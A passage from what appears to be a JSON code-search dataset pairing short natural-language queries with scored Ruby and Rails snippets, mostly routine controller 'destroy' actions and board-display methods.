/#{path} with #{arguments.inspect}\"\n parse_request(connection.delete(path, arguments))\n end", "title": "" }, { "docid": "7bd7ac76df2cc23f84b637ccf486dc17", "score": "0.63535154", "text": "def destroy\n @carro_som = CarroSom.find(params[:id])\n @carro_som.destroy\n\n respond_to do |format|\n format.html { redirect_to(carro_soms_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5a6a545c2c771685231764f16117bb9a", "score": "0.63510364", "text": "def destroy\n @mensalidade = Mensalidade.find(params[:id])\n @mensalidade.destroy\n\n respond_to do |format|\n flash[:notice] = 'Mensalidade excluída com sucesso.'\n format.html { redirect_to(mensalidades_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "402ac8eefafed4ce47aabb325f0f2507", "score": "0.6340422", "text": "def destroy\n @carrera = Carrera.find(params[:id])\n @carrera.destroy\n\n respond_to do |format|\n format.html { redirect_to(carreras_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7fa1089279bcd0f683904721f5398735", "score": "0.63363147", "text": "def destroy\n @receta = Receta.find(params[:id])\n @receta.destroy\n\n respond_to do |format|\n flash[:notice] = t(:receta_deleted)\n format.html { redirect_to(recetas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6590f617b71e84f910190401ab0eb319", "score": "0.6327471", "text": "def test_delete\n\n put_toto_doc\n\n doc = @s.get('errors', 'toto')\n\n r = @s.delete(doc)\n\n assert_equal nil, r\n\n doc = @s.get('errors', 'toto')\n\n assert_equal nil, doc\n end", "title": "" }, { "docid": "a03622a123705eef259c900238268744", "score": "0.6320696", "text": "def destroy\n @moneda.destroy\n\n respond_to do |format|\n format.html { redirect_to(monedas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8449d4a096c960508593180a5ff84343", "score": "0.63160634", "text": "def destroy\n @destaque = Destaque.find(params[:id])\n @destaque.destroy\n\n respond_to do |format|\n format.html { redirect_to(destaques_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9b36c45cc08f3035dd4a75572fe40f7d", "score": "0.6307367", "text": "def destroy\n @fabricante = Fabricante.find(params[:id])\n @fabricante.destroy\n\n respond_to do |format|\n format.html { redirect_to(fabricantes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4dee8b1dca13c4cb3a402a783e429f2f", "score": "0.6304993", "text": "def destroy\n ### cancan lo carga\n ### @mantenedor = Mantenedor.find(params[:id])\n @mantenedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(mantenedors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b965aa2e76649b84623ed925811f4794", "score": "0.62992024", "text": "def delete(_path)\n end", "title": "" }, { "docid": "52f4f469d4584469cbcb0bcd81b19925", "score": "0.62992", "text": "def destroy\n @vaga_crianca = VagaCrianca.find(params[:id])\n @vaga_crianca.destroy\n\n respond_to do |format|\n format.html { redirect_to(vaga_criancas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c01b1289773e49233a7bf455f0e6a81b", "score": "0.62951756", "text": "def destroy\n @contenido = Contenido.find(params[:id])\n @contenido.destroy\n\n respond_to do |format|\n format.html { redirect_to(contenidos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "92e8031a9e9f2a78a7df656f6d47d9d9", "score": "0.6292293", "text": "def destroy\n @marron = Marron.find(params[:id])\n @marron.destroy\n\n respond_to do |format|\n format.html { redirect_to(marrones_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9ac60dc54c4ff417dda38499f421e52f", "score": "0.6289337", "text": "def destroy\n @resenha = Resenha.find(params[:id])\n @resenha.destroy\n\n respond_to do |format|\n format.html { redirect_to(resenhas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2b5d3070f426cddf0e38e290964bec3a", "score": "0.62887037", "text": "def destroy\n @unidad_medida = UnidadMedida.find(params[:id])\n @unidad_medida.destroy\n\n respond_to do |format|\n format.html { redirect_to(unidad_medidas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c4087a62942dfa21d94cc17b2613c234", "score": "0.62795526", "text": "def destroy\n @cobros_detalhe = CobrosDetalhe.find(params[:id])\n @cobros_detalhe.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/cobros/#{@cobros_detalhe.cobro_id}\" }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d89b35ff31fca6e9e58277c2f0fc777a", "score": "0.6276913", "text": "def destroy\n @premisa = Premisa.find(params[:id])\n @premisa.destroy\n\n respond_to do |format|\n format.html { redirect_to(premisas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "86ed3111cfa6266cb7a414879c013417", "score": "0.6275221", "text": "def destroy\n @datoMedico = DatoMedico.find(params[:id])\n @datoMedico.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_medicos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "40c19081824a1c044d25696f6ae3fee4", "score": "0.62711847", "text": "def destroy\n @transaction_xml = Transaction::Xml.find(params[:id])\n @transaction_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bc57d573bcb5937303d8fb1829495933", "score": "0.62689596", "text": "def destroy\n @registro = Registro.find(params[:id])\n @registro.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "06d1bd4e48c5bab82a1f4cf16f4f31d2", "score": "0.6265717", "text": "def destroy\n @conta = Conta.find(params[:id])\n @conta.destroy\n\n respond_to do |format|\n format.html { redirect_to(contas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bf5837b1899d603b35d6ef8f88afe23b", "score": "0.6264842", "text": "def destroy\n @econtrato = Econtrato.find(params[:id])\n @econtrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(econtratos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7c123e2c1e1cbaf36acd4465868449f0", "score": "0.62627685", "text": "def destroy\n @requerimiento = Requerimiento.find(params[:id])\n @requerimiento.destroy\n respond_to do |format|\n format.html { redirect_to(requerimientos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "50b015c6285763c3a4973f5501dd1473", "score": "0.62626517", "text": "def destroy\n @tipo_mant = TipoMant.find(params[:id])\n @tipo_mant.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_mants_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "909db4600af2e5b81ba63d0b0cbc4f26", "score": "0.62625605", "text": "def destroy\n @motivo = Motivo.find(params[:id])\n @motivo.destroy\n\n respond_to do |format|\n format.html { redirect_to(motivos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "76120959f58fc7bbc1a0fead38093f16", "score": "0.6262425", "text": "def destroy\n @almacenesmantenimiento = Almacenesmantenimiento.find(params[:id])\n @almacenesmantenimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to(almacenesmantenimientos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5d88483bb4a3647865d86f136d2b066f", "score": "0.62605053", "text": "def destroy\n @registro_alimento = RegistroAlimento.find(params[:id])\n @registro_alimento.destroy\n\n respond_to do |format|\n format.html { redirect_to(registro_alimentos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f39aae4082b191d84e9ad58a795ff6c8", "score": "0.6260182", "text": "def destroy\n @metodo_de_pagamento = MetodoDePagamento.find(params[:id])\n @metodo_de_pagamento.destroy\n\n respond_to do |format|\n format.html { redirect_to(metodo_de_pagamentos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "270b438a1aaf3a23dbd0990e5636f6bf", "score": "0.62575847", "text": "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to(respuestas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4a510efa46c1dbabe741ef199d73d398", "score": "0.62533534", "text": "def destroy\n @margenop = Margenop.find(params[:id])\n @margenop.destroy\n\n respond_to do |format|\n format.html { redirect_to(margenops_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f0e34d43ed4094b377f6823f0d93b990", "score": "0.6251105", "text": "def destroy\n @autorizacion = Autorizacion.find(params[:id])\n @autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(autorizacions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "43ecb1a3efac7074ec66568c541f2cbb", "score": "0.6250139", "text": "def destroy\n @correo_plantilla = CorreoPlantilla.find(params[:id])\n @correo_plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(correo_plantillas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a230bed7cb65e9e924e58b09d7caa1a6", "score": "0.6247065", "text": "def destroy\n @autorizacion = Autorizacion.find(params[:id])\n @autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(autorizaciones_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "82b2ea4b0b00d94fbf03419a42271df1", "score": "0.62460333", "text": "def destroy\n @archivo = Archivo.find(params[:id])\n @archivo.destroy\n\n respond_to do |format|\n format.html { redirect_to(archivos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8c1fff3b6a79fc5b8351d52e4b43c3d8", "score": "0.62451136", "text": "def destroy\n @l1_node = L1Node.find(params[:id])\n @l1_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(l1_nodes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "132d62d4e387709cb0a002d92df02d5d", "score": "0.6243736", "text": "def destroy\n @motorista = Motorista.find(params[:id])\n @motorista.destroy\n\n respond_to do |format|\n format.html { redirect_to(motoristas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fe5691fbe5d6a68e29fd2cb4727512fa", "score": "0.6235765", "text": "def delete!\n CouchRest.delete @root\n end", "title": "" }, { "docid": "fe5691fbe5d6a68e29fd2cb4727512fa", "score": "0.6235765", "text": "def delete!\n CouchRest.delete @root\n end", "title": "" }, { "docid": "8416550772497d3486db8d6e8b56970e", "score": "0.62339866", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to(asignaturas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8416550772497d3486db8d6e8b56970e", "score": "0.62339866", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to(asignaturas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8416550772497d3486db8d6e8b56970e", "score": "0.62339866", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to(asignaturas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a304160488695b3d9936bdd4f4f86669", "score": "0.62292993", "text": "def destroy\n @meta_produto = MetaProduto.find(params[:id])\n @meta_produto.destroy\n\n respond_to do |format|\n format.html { redirect_to(meta_produtos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "35df43b1d75b1dd6cc5d985e9798191f", "score": "0.6225302", "text": "def destroy\n @matricula = Matricula.find(params[:id])\n @matricula.destroy\n\n respond_to do |format|\n format.html { redirect_to(matriculas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4dbfb888cb5650b1d528556fa3643f48", "score": "0.6222586", "text": "def destroy\n @zakaz1 = Zakaz1.find(params[:id])\n @zakaz1.destroy\n\n respond_to do |format|\n format.html { redirect_to(zakaz1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6f2a52cef0f324dcc012dfded3582ae8", "score": "0.622133", "text": "def destroy\n @verano_acceso = VeranoAcceso.find(params[:id])\n @verano_acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(verano_accesos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "219e56dab2c63fe7c68801dd0679335c", "score": "0.62202996", "text": "def destroy\n @relacionamento = Relacionamento.find(params[:id])\n @relacionamento.destroy\n\n respond_to do |format|\n format.html { redirect_to(relacionamentos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "682248282787b57ccf6df00214e9d097", "score": "0.62200165", "text": "def destroy\n @ausencia = Ausencia.find(params[:id])\n @ausencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(ausencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1d28eee2168cca699809d61afc176c15", "score": "0.6219608", "text": "def destroy\n @raga = Raga.find(params[:id])\n @raga.destroy\n\n respond_to do |format|\n format.html { redirect_to(ragas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b729bbec41673c9bcab1121123a39754", "score": "0.62189764", "text": "def destroy\n @centro = Centro.find(params[:id])\n @centro.destroy\n\n respond_to do |format|\n format.html { redirect_to(centros_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "dcddaf314d728bdf631c8e5e74ffb3a7", "score": "0.62179667", "text": "def destroy\n @exemplo = Exemplo.find(params[:id])\n @exemplo.destroy\n\n respond_to do |format|\n format.html { redirect_to(exemplos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "70b6dee023d35378de5b87e67e80ad3e", "score": "0.6217832", "text": "def destroy\n @mircopost = Mircopost.find(params[:id])\n @mircopost.destroy\n\n respond_to do |format|\n format.html { redirect_to(mircoposts_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0e5cbae1ef30274e8ad11b44cedc8e15", "score": "0.62154293", "text": "def destroy\n @correo = Correo.find(params[:id])\n @correo.destroy\n\n respond_to do |format|\n format.html { redirect_to(correos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8a66812466abdb7966fe57d997d051fd", "score": "0.6212576", "text": "def destroy\n @orcamento = Orcamento.find(params[:id])\n @orcamento.destroy\n\n respond_to do |format|\n format.html { redirect_to(orcamentos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "50f67c9047b246749e93da165f0a5c6f", "score": "0.6210769", "text": "def destroy\n @calle = Calle.find(params[:id])\n @calle.destroy\n\n respond_to do |format|\n format.html { redirect_to(calles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cd8f7918e1df997453ea93a8ab4d70ac", "score": "0.62063956", "text": "def destroy\n @manifestacao_de_ben = ManifestacaoDeBen.find(params[:id])\n @manifestacao_de_ben.destroy\n\n respond_to do |format|\n format.html { redirect_to(manifestacao_de_bens_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "094b47773752fba25f69d65d0f6cc524", "score": "0.62056655", "text": "def destroy\n @registro = Registro.find(params[:id])\n @registro.destroy\n\n respond_to do |format|\n format.html { redirect_to(registros_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "732e35d80002c7d5891a740e29d95b8d", "score": "0.62046003", "text": "def destroy\n @solicitante = Solicitante.find(params[:id])\n @solicitante.destroy\n\n respond_to do |format|\n format.html { redirect_to(solicitantes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bbc11d1a5f7c3bade5c1b7c2e65ab4d8", "score": "0.620134", "text": "def destroy\n @archivosactualizacion = Archivosactualizacion.find(params[:id])\n @archivosactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(archivosactualizaciones_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5e5a8091cc5bf13df75fbfb44ae5ece3", "score": "0.61947113", "text": "def destroy\n @midia = Midia.find(params[:id])\n @midia.destroy\n\n respond_to do |format|\n format.html { redirect_to(midias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5d103cd0c946848f804975d9e823162b", "score": "0.6191392", "text": "def destroy\n @entrega = Entrega.find(params[:id])\n @entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to(entregas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a3a50785b03531693d9c64096b01bb50", "score": "0.6190892", "text": "def destroy\n @modelo1 = Modelo1.find(params[:id])\n @modelo1.destroy\n\n respond_to do |format|\n format.html { redirect_to(modelo1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "34787bcb2485a4fbf717d19cbd8e9bdf", "score": "0.6188083", "text": "def destroy\n @arquivo_documento = Arquivo::Documento.find(params[:id])\n @arquivo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(arquivo_documentos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "656cb19852ca85d9ddc97fd0b762ee61", "score": "0.61851907", "text": "def destroy\n @maquina = Maquina.find(params[:id])\n @maquina.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => \"index\") }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cef857471089b938c912e72f49ec42fc", "score": "0.6182727", "text": "def destroy\n @obrasproyecto = Obrasproyecto.find(params[:id])\n @obrasproyecto.destroy\n\n respond_to do |format|\n format.html { redirect_to(obrasproyectos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5997c29737f8ad0238ee9035e4bafc30", "score": "0.61825925", "text": "def destroy\n @escola = Escola.find(params[:id])\n @escola.destroy\n\n respond_to do |format|\n format.html { redirect_to(escolas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6292e14b9a5c2c66eed0d052a72d7f51", "score": "0.6179079", "text": "def destroy\n @caracteristica = Caracteristica.find(params[:id])\n @caracteristica.destroy\n\n respond_to do |format|\n format.html { redirect_to(caracteristicas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "eb771d0f140208a270c58f12d607e9ed", "score": "0.61761355", "text": "def destroy\n @prontuario = Prontuario.find(params[:id])\n @prontuario.destroy\n\n respond_to do |format|\n format.html { redirect_to(prontuarios_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c501298b59d58d3d0b46c457162aa16d", "score": "0.6173578", "text": "def destroy\n @naciona = Naciona.find(params[:id])\n @naciona.destroy\n\n respond_to do |format|\n format.html { redirect_to(nacionas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "dc363e98ddcb8f5f1dc6abc6ed9acef9", "score": "0.617322", "text": "def destroy\n @mejoramientosestado = Mejoramientosestado.find(params[:id])\n @mejoramientosestado.destroy\n\n respond_to do |format|\n format.html { redirect_to(mejoramientosestados_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "af353f1235b19efad06e38970d6cb856", "score": "0.61732167", "text": "def destroy\n @visitante = Visitante.find(params[:id])\n @visitante.destroy\n\n respond_to do |format|\n format.html { redirect_to(visitantes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e5399a2cb826177e41dc3b9d16f562e1", "score": "0.61717206", "text": "def destroy\n @xpath = Xpath.find(params[:id])\n @xpath.destroy\n set_site\n respond_to do |format|\n flash[:notice]=\"Field has been removed.\"\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3dd1843361396d3295f4448da528c248", "score": "0.6169028", "text": "def destroy\n @ttramo = Ttramo.find(params[:id])\n @ttramo.destroy\n\n respond_to do |format|\n format.html { redirect_to(ttramos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3f70ef0267a38adb1ad56c3006e6e831", "score": "0.61683905", "text": "def destroy\n @transferencia = Transferencia.find(params[:id])\n @transferencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(transferencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "32432c8603163b5f195fc3da7a827611", "score": "0.6167007", "text": "def destroy\n @tipo_contato = TipoContato.find(params[:id])\n @tipo_contato.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_contatos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7bdb85b530154d308b3fb4c599a88932", "score": "0.6164499", "text": "def destroy\n @empresa = Empresa.find(params[:id])\n @empresa.destroy\n\n respond_to do |format|\n format.html { redirect_to(empresas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7bdb85b530154d308b3fb4c599a88932", "score": "0.6164499", "text": "def destroy\n @empresa = Empresa.find(params[:id])\n @empresa.destroy\n\n respond_to do |format|\n format.html { redirect_to(empresas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ffbb5179864399db58cd2449f56ad429", "score": "0.6157651", "text": "def destroy\n @chamados = Chamado.find(params[:id])\n @chamados.destroy\n respond_to do |format|\n format.html { redirect_to(chamados_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5327253dc53ae5b705c4a1833ebdeaab", "score": "0.615491", "text": "def destroy\n @missionario = Missionario.find(params[:id])\n @missionario.destroy\n\n respond_to do |format|\n format.html { redirect_to(missionarios_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
a4bac165dbf3b57c7047508b21260f5a
From here we have methods that are used in boards view
[ { "docid": "781e67f47fbc5c52d43c44914b3a0d5b", "score": "0.0", "text": "def start\n action = \"\"\n until action == \"exit\"\n print_boards\n action, id = main_menu\n return if action == \"exit\"\n\n action_sym = \"#{action}_board\".to_sym\n methods.include?(action_sym) ? method(action_sym).call(id) : puts(\"Invalid option\")\n end\n end", "title": "" } ]
[ { "docid": "ad84e455068a44cc8c2a6fa157602cf5", "score": "0.76134497", "text": "def boards\n\n end", "title": "" }, { "docid": "63a9c766aad7ed5bbcf97fe892c86949", "score": "0.75792366", "text": "def boards; end", "title": "" }, { "docid": "26e77cb0e021b9f6c004b6a8e9b2aa1a", "score": "0.7019121", "text": "def board_visualization\n end", "title": "" }, { "docid": "458a08a02bae544ea337bc7f61f14dce", "score": "0.7008437", "text": "def board\n\n end", "title": "" }, { "docid": "458a08a02bae544ea337bc7f61f14dce", "score": "0.7008437", "text": "def board\n\n end", "title": "" }, { "docid": "f159c01278ecbbf1f975ebad26579ed4", "score": "0.69192225", "text": "def board\n end", "title": "" }, { "docid": "d3beb65bac1d8ffe35f68e1b4952ae40", "score": "0.64309186", "text": "def board\n @board.layout\n end", "title": "" }, { "docid": "55e341a7685c159381372cc8064551ef", "score": "0.6370743", "text": "def show\n\t\t@board\n\tend", "title": "" }, { "docid": "b46a40b01cc1ba9b71df97638acf757e", "score": "0.6356715", "text": "def show\n @board.show_board\n end", "title": "" }, { "docid": "b87f0fb8b895cbab1272b936b1c78946", "score": "0.6350935", "text": "def board\n @comp_board #do stuff to make it pretty\nend", "title": "" }, { "docid": "27c2920fe47b00109076fb9fe0182e6a", "score": "0.62794334", "text": "def show_boards(cheat)\n puts ' human board'\n @human.board.display(true)\n puts ''\n puts ' comp board'\n @comp.board.display(cheat)\n \n end", "title": "" }, { "docid": "130914316436d8aa412cab453c558569", "score": "0.62778735", "text": "def display_board()\n print \"+-----------+ +-----------+\\n\"\n print \"| +-----+ | | +-----+ |\\n\"\n print \"| | | | | | | |\\n\"\n print \"| | #{symbol_to_integer(@current_view[0].owner)}--#{symbol_to_integer(@current_view[1].owner)}--#{symbol_to_integer(@current_view[2].owner)}--#{symbol_to_integer(@current_view[3].owner)}--#{symbol_to_integer(@current_view[4].owner)}--#{symbol_to_integer(@current_view[5].owner)} | |\\n\"\n print \"| | | | | | | | | |\\n\"\n print \"| +--#{symbol_to_integer(@current_view[6].owner)}--#{symbol_to_integer(@current_view[7].owner)}--#{symbol_to_integer(@current_view[8].owner)}--#{symbol_to_integer(@current_view[9].owner)}--#{symbol_to_integer(@current_view[10].owner)}--#{symbol_to_integer(@current_view[11].owner)}--+ |\\n\"\n print \"| | | | | | | |\\n\"\n print \"+-----#{symbol_to_integer(@current_view[12].owner)}--#{symbol_to_integer(@current_view[13].owner)}--#{symbol_to_integer(@current_view[14].owner)}--#{symbol_to_integer(@current_view[15].owner)}--#{symbol_to_integer(@current_view[16].owner)}--#{symbol_to_integer(@current_view[17].owner)}-----+\\n\"\n print \" | | | | | |\\n\"\n print \"+-----#{symbol_to_integer(@current_view[18].owner)}--#{symbol_to_integer(@current_view[19].owner)}--#{symbol_to_integer(@current_view[20].owner)}--#{symbol_to_integer(@current_view[21].owner)}--#{symbol_to_integer(@current_view[22].owner)}--#{symbol_to_integer(@current_view[23].owner)}-----+\\n\"\n print \"| | | | | | | |\\n\"\n print \"| +--#{symbol_to_integer(@current_view[24].owner)}--#{symbol_to_integer(@current_view[25].owner)}--#{symbol_to_integer(@current_view[26].owner)}--#{symbol_to_integer(@current_view[27].owner)}--#{symbol_to_integer(@current_view[28].owner)}--#{symbol_to_integer(@current_view[29].owner)}--+ |\\n\"\n print \"| | | | | | | | | |\\n\"\n print \"| | #{symbol_to_integer(@current_view[30].owner)}--#{symbol_to_integer(@current_view[31].owner)}--#{symbol_to_integer(@current_view[32].owner)}--#{symbol_to_integer(@current_view[33].owner)}--#{symbol_to_integer(@current_view[34].owner)}--#{symbol_to_integer(@current_view[35].owner)} | |\\n\"\n print \"| | | | | | | |\\n\"\n print \"| +-----+ | | +-----+ |\\n\"\n print \"+-----------+ +-----------+\\n\"\n end", "title": "" }, { "docid": "32ecf561a5b57e04961ae72177414f4b", "score": "0.6277688", "text": "def board_2\n end", "title": "" }, { "docid": "bc5ffb9ac388718059235d5ff7cbd54e", "score": "0.62432957", "text": "def board \n @board\n end", "title": "" }, { "docid": "39dba9c6cb05c1cf0fff0d41def712cb", "score": "0.62415713", "text": "def get_board\n @board\n end", "title": "" }, { "docid": "fa40a7b41f3f161c6dfc9a7f03bf5f4c", "score": "0.62271667", "text": "def print_board\n end", "title": "" }, { "docid": "f88142281ea43b4e4e6bc11798d0f4e2", "score": "0.62264264", "text": "def show\n get_boards_by_user\n end", "title": "" }, { "docid": "4aa52a911b6606e66c48b9146fcd010c", "score": "0.62199634", "text": "def show_board\n\t\t@my_board.print_board(@current) #the function .print_board takes the argument current which is equal to the current \n\t\t#player id\n\tend", "title": "" }, { "docid": "d119256ac37a297f462aa2ba7b7c06ce", "score": "0.6130914", "text": "def show\n @boards = Board.where(user_id: session[:user_id])\n if @board.marked_private == true && @board.user_id != session[:user_id]\n redirect_to boards_path, notice: \"You must be the Owner of this board to view\"\n\n elsif @board.marked_private == true && @board.user_id == session[:used_id]\n\n elsif @board.marked_private == false && @board.user_id != session[:used_id]\n\n elsif @board.marked_private == false && @board.user_id == session[:used_id]\n\n else\n end\n\n @designs = @board.designs\n @feature_display = []\n @designs.each do |design|\n @feature_display << design.get_json_for_design(design.spoonflower_id, design.id)\n end\n end", "title": "" }, { "docid": "58846394d1015f23d3d3a886be6a58c5", "score": "0.61147535", "text": "def show\n add_breadcrumb @board.id\n end", "title": "" }, { "docid": "f4f1a4c09e504d7f8351199da0e236d0", "score": "0.6090099", "text": "def board\n @board\n end", "title": "" }, { "docid": "14c702a14303d1d7bac178699a26d89f", "score": "0.6060581", "text": "def displays; end", "title": "" }, { "docid": "f4ba101d9e50ce40a0df602b680b42bb", "score": "0.6056855", "text": "def show\n @board = Board.find(params[:id])\n @teams = []\n @users = []\n\n @board.teams.each do |team|\n @teams.push(team)\n @users.push(team.users.all)\n end\n\n @channel_name = get_channel_name(request.original_url)\n @update_game_board_event = 'update_game_board'\n end", "title": "" }, { "docid": "8e33a3db8688908e329571ceb4d4e842", "score": "0.603404", "text": "def display\n \n end", "title": "" }, { "docid": "8e33a3db8688908e329571ceb4d4e842", "score": "0.603404", "text": "def display\n \n end", "title": "" }, { "docid": "8f393d8a4b29b017b49678e5cc817994", "score": "0.60307753", "text": "def show\n @lists = @board.lists\n end", "title": "" }, { "docid": "4744b31ddb73c678f70bfcc2d5c491bd", "score": "0.6027147", "text": "def all_boards\n boards\n end", "title": "" }, { "docid": "dd1e7415b1b8f16c8a838377985f29a9", "score": "0.6026411", "text": "def userView\n showScore\n showPile\n showBoard\n showRack\n end", "title": "" }, { "docid": "937e003c0455ad142117c0b5bfa9a488", "score": "0.596634", "text": "def switchboard\n raise \"#{__method__} not implemented in #{self.class.name}\"\n end", "title": "" }, { "docid": "c7868afc61cf2f39b51669091faff2c5", "score": "0.5947276", "text": "def show\n print_board(@board)\n end", "title": "" }, { "docid": "154eea0951d87ae9880cf3596bc78395", "score": "0.5937011", "text": "def print\n self.display_board\n end", "title": "" }, { "docid": "e97b0da5734b7f88993471ad31c7bb1e", "score": "0.5928632", "text": "def show_board\n (0..(BOARD_SIZE - 1)).each do |x|\n p self.board['board_fields'][x].map { |sign| sign ? sign : ' ' }.join('|')\n end\n self\n end", "title": "" }, { "docid": "97292d1325c4303482dd3433a7f7d714", "score": "0.5889871", "text": "def show\n #A través de la tabla intermedia obtenemos las listas que pertenecen a este projecto\n column = BoardList.where(board_id: params[:id])\n @columns ||= []\n @tasks ||= []\n # Para cada lista buscamos la lista en sí y todas las tareas\n column.each{|col|\n @columns << List.find(col.list_id)\n tareas = Task.where(list_id: col.list_id)\n tareas.each{|tarea|\n @tasks << tarea\n }\n }\n #ordenamos las columnas por posiciones\n @columns = @columns.sort_by {|col| col.position}\n #ordenamos las tasks por posiciones\n @tasks = @tasks.sort_by {|tasks| tasks.position}\n end", "title": "" }, { "docid": "e5ce93de05b53dd1646c2de210337728", "score": "0.5887419", "text": "def show\n # @board = Spot.find(params[:spot_id])\n # @accessory = accessory.find(params[:id])\n @accessory = Accessory.find(params[:id])\n if @accessory.board\n @board = @accessory.board\n end\n\nend", "title": "" }, { "docid": "3b008eec55338ee33d5c6e0c187b11e3", "score": "0.5873959", "text": "def show\n \tload_board\n \t@topic = Topic.find(params[:id])\n 